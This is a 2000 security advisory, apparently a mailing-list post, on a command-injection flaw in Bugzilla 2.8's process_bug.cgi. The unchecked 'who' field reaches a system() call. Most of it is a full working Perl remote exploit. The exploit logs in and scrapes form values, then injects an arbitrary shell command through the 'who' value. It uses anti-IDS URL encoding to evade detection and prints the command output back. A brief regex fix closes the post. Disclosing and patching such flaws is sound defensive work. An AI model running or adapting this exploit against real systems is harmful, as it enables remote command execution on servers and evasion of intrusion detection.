OSEC

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Subject: Advisory: Unchecked system(blaat $var blaat) call in Bugzilla 2.8
From: Frank van Vliet (karinROOT66.NL.EU.ORG)
Date: Wed May 10 2000 - 21:30:18 CDT


Advisory: Unchecked system(blaat $var blaat) call in Bugzilla 2.8
                    Root66 - ShellOracle - b0f
                  By {} - karinroot66.nl.eu.org

/*
 * Introduction
 */

   Bugzilla is a database for bugs. It let's people report bugs and assigns these bugs to the appropriate developers. Developers can use bugzilla to keep a to-do list as well as to prioritize, schedule and track dependencies. Not all 'bugs' are bugs. Some items in the database are known as Enhancement Requests or Requests For Enhancement (RFE for short). An RFE is a bug whose severity field is set to 'enhancement'. People often say 'bug' when they mean 'item in bugzilla', so RFE's often get wind up being called bugs. Enter the tasks you're planning to work on as enhancement requests and bugzilla will help you track them and allow others to see what you plan to work on. If people can see your flight plan, they can avoid duplicating your work and can possibly help out or offer feedback.

   This boils down to a set of cgi scripts, that connect to a database and play with bugreports.

/*
 * The bug
 */

   One of those scripts, `process_bug.cgi`, handles the submission of new bugs, and calls the perlscript `processmail` via

        system("./processmail $::FORM{'dup_id'} $::FORM{'who'}");
                if this bugreport is a duplicate of the bug with id 'dup_id'
        system("./processmail $id $::FORM{'who'}");
                for a normal bugreport
        system("./processmail $k $::FORM{'who'}");
                for every bugreport that depend on this one.

        There are no checks on the contents of the field who (which $::FORM{'who'} refers to).

/*
 * The exploit
 */
   This can be exploited because $::FORM{'who'} is basically the field `who` when submitted a bug and there are no checks on its contents. So we submit it with who=blaatblaat.com;id;&<other fields>

   This is my version of the exploit, it uses the duplicate option for a not existing bug so it won't even show up anywhere because it is rejected (after the processmail)

#!/usr/bin/perl

# Bugzilla 2.8 remote exploit
# by {} - karinroot66.nl.eu.org
# RooT66 - http://root66.nl.eu.org
# ShellOracle - http://www.shelloracle.cjb.net
# b0f - http://b0f.freebsd.lublin.pl
#
# This exploits uses antiIDS tricks ripped from whisker

# next 2 functinos stolen from whisker, commented by me
sub rstr { # no, this is not a cryptographically-robust number generator
        my $str,$c;
        $drift=(rand() * 10) % 10;
        for($c=0;$c<10+$drift;$c++){
        $str .= chr(((rand() * 26) % 26) + 97);} # yes, we only use a-z
        return $str;}

sub antiIDS {
        ($url) = (_);
        $url =~s/([-a-zA-Z0-9.\<\>\\\|\'\`])/sprintf("%%%x",ord($1))/ge;
        $url =~ s/\ /+/g;
        $url =~s/\//\/.\//g;
        return $url;
}
#end of stolen stuff

($complete_url, $Bugzilla_login, $Bugzilla_password, $command) = (ARGV);

print("Exploit for Bugzilla up to version 2.8\n");
print(" by {} - karin\root66.nl.eu.org\n");
print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");
print("RooT66 - http://root66.nl.eu.org\n");
print("ShellOracle - http://www.shelloracle.cjb.net\n");
print("b0f - http://b0f.freebsd.lublin.pl\n");
print("\n");

if ($complete_url eq "-h" || $complete_url eq "--help") {
        print("Usage: $0 url emailaddress password command\n");
        exit;
}

# Get information of user
if (!$complete_url) {
        print("URL: ");
        $complete_url = <STDIN>; chomp($complete_url); $complete_url =~ s/http:\/\///;
}
if (!$Bugzilla_login) {
        print("EMAIL: ");
        $Bugzilla_login = <STDIN>; chomp($Bugzilla_login);
}
if (!$Bugzilla_password) {
        print("PASSWORD: ");
        $Bugzilla_password = <STDIN>; chomp($Bugzilla_password);
}
if (!$command) {
        print("COMMAND: ");
        $command = <STDIN>; chomp($command);
}

# Set some variables
$host = $complete_url; $host =~ s/\/.*//;
$base_dir = $complete_url; $base_dir =~ s/^$host//; $base_dir =~ s/[a-zA-Z.]*$//;

# Make own directory
system("mkdir $$");

print("Getting information needed to submit our 'bug'\n");
# Get product name
system("cd $$; lynx -source \"http://$host/" . antiIDS("$base_dir/enter_bug.cgi") . "?Bugzilla_login=" . antiIDS("$Bugzilla_login") . "&Bugzilla_password=" . antiIDS("$Bugzilla_password") . "\" > enter_bug.cgi");
open(FILE, "< $$/enter_bug.cgi");
while($input = <FILE>) {
        if ($input =~ /enter_bug.cgi\?product=/) {
                chomp($input);
                $product = $input;
                $product =~ s/.*product=//;
                $product =~ s/".*//;
                if ($product =~ /\&component=/) {
                        $component = $product;
                        $product =~ s/&.*//; # strip component
                        $component =~ s/.*component=//;
                        $component =~ s/".*//;
                }
        }
}
print("\tProduct: $product\n");
if ($component) {
        print("\tComponent: $component\n");
        }
# Get more information
$page = antiIDS("$base_dir/enter_bug.cgi?") . "product=" . antiIDS("$product") . "&Bugzilla_login=" . antiIDS("$Bugzilla_login") . "&Bugzilla_password=" . antiIDS("$Bugzilla_password");
system("cd $$; lynx -dump \"http://$host/$page\" > enter_bug.cgi");
open(FILE, "< $$/enter_bug.cgi");
while($input = <FILE>) {
        chomp($input);
        if ($input =~ /Reporter:/) {
                $reporter = $input;
                $reporter =~ s/.*Reporter: //;
                $reporter =~ s/\ .*//;
        }
        if ($input =~ /Version:/) {
                $version = $input;
                $version =~ s/.*Version: \[//;
                $version =~ s/\.*\].*//;
        }
        if ($input =~ /Component:/) {
                $component = $input;
                $component =~ s/.*Component: \[//;
                $component =~ s/\.*\].*//;
        }
        if ($input =~ /Platform:/) {
                $platform = $input;
                $platform =~ s/.*Platform: \[//;
                $platform =~ s/\.*\].*//;
        }
        if ($input =~ /OS:/) {
                $os = $input;
                $os =~ s/.*OS: \[//;
                $os =~ s/\.*\].*//;
        }
        if ($input =~ /Priority:/) {
                $priority = $input;
                $priority =~ s/.*Priority: \[//;
                $priority =~ s/\].*//;
        }
        if ($input =~ /Severity:/) {
                $severity = $input;
                $severity =~ s/.*Severity: \[//;
                $severity =~ s/\.*\].*//;
        }
}
print("\tReporter: $reporter\n");
print("\tVersion: $version\n");
print("\tComponent: $component\n");
print("\tPlatform: $platform\n");
print("\tOS: $os\n");
print("\tPriority: $priority\n");
print("\tSeverity: $severity\n");
close(FILE);

#liftoff
print("Sending evil bug report\n");
$page = antiIDS("$base_dir/process_bug.cgi") . "?bug_status=" . antiIDS("NEW") . "&reporter=" . antiIDS($reporter) . "&product=" . antiIDS("$product") . "&version=" . antiIDS("$version") . "&component=" . antiIDS("$component") . "&rep_platform=" . antiIDS("$platform") . "&op_sys=" . antiIDS($os) . "&priority=" . antiIDS($priority) . "&bug_severity=" . antiIDS($severity) . "&who=". antiIDS("blaat\blaat.com;echo \\<pre\\>START OUTPUT COMMAND;$command;echo \\<\\/pre\\>END OUTPUT COMMAND;") . "&knob=" . antiIDS("duplicate") . "&dup_id=" . antiIDS("202021234123412341234") . "&Bugzilla_login=" . antiIDS($Bugzilla_login) . "&Bugzilla_password=" . antiIDS($Bugzilla_password) . "&assigned_to=&cc=&bug_file_loc=&short_desc=&comment=&form_name=enter_bug";
system("cd $$; lynx -dump \"$host/$page\" > enter_bug.cgi");
open(FILE, "< $$/enter_bug.cgi");
while($input = <FILE>) {
        chomp($input);
        if ($input =~ /END OUTPUT COMMAND/) {
                $startoutput = 0;
        }
        if ($startoutput) {
                print("$input\n");
        }
        if ($input =~ /START OUTPUT COMMAND/) {
        $startoutput = 1;
        }
}
close(FILE);
# Delete shit
system("rm -rf $$");

/*
 * The fix
 */

   At the start of process_mail, we just set a regular expression on $::FORM{'who'}

   lets append to

        if (!defined $::FORM{'who'}) {
            $::FORM{'who'} = $::COOKIE{'Bugzilla_login'};
        }

   the following:

        # fix by {} - karinroot66.nl.eu.org
        # we wouldn't like some hacker including shellchars, whould we?
        $::FORM{'who'} =~ s/[^a-zA-Z0-9\_\-\.\/\+]//g;

Secure tha planet!

{} - karinroot66.nl.eu.org
RooT66 - http://root66.nl.eu.org
ShellOracle - http://www.shelloracle.cjb.net
b0f - http://b0f.freebsd.lublin.pl